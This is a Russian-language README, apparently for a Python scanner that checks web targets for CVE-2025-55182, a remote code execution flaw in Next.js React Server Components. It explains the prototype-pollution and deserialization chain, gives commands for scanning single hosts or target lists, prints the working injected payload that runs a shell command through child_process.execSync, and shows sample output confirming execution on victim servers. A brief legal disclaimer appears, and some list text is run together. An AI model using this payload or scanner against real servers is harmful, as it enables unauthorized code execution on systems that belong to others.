
Сканер безопасности для CVE-2025-55182 - Критическая уязвимость RCE в React Server Components
Этот инструмент проверяет, уязвима ли цель для CVE‑2025‑55182 — ошибки удаленного выполнения кода, вызванной небезопасной обработкой полезных нагрузок модели RSC (React Server Components) внутри Next.js.
Уязвимость представляет собой цепочку Загрязнение прототипа → Злоупотребление десериализацией → Выполнение JavaScript на стороне сервера.
Отказ от ответственности: Используйте только на системах, которые вам законно принадлежат или на которые у вас есть явное разрешение. Несанкционированное тестирование = преступление, бро.
Next.js внутренне обрабатывает специальные объекты «model», отправляемые через multipart/form-data.
Если злоумышленник внедряет вредоносную структуру, например поддельный thenable, он может отравить:
__proto___response._prefixconstructor.constructorЭто приводит к тому, что сервер выполняет JavaScript, контролируемый злоумышленником, что приводит к полному RCE.
-u) или список целей (-l)id) из дайджеста ошибки сервераfoxvuln.txtpython3 main.py -u https://target.com
python3 main.py -l list.txt
Полезная нагрузка злоупотребляет process.mainModule.require('child_process').execSync() через внедренный _prefix:
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
Это заставляет сервер выполнить id и выдать результат внутри выброшенного дайджеста (потому что ошибки RSC намеренно возвращают структурированное поле «digest»).
Уязвимая цель:
[+] Testing: https://victim.com
[VULN] user : uid=1000(www-data)
Не уязвима:
[+] Testing: https://secure.com
[NOT VULN]
Все подтвержденные уязвимые URL сохраняются в:
foxvuln.txt
Формат:
https://victim.com => uid=1000(www-data)
/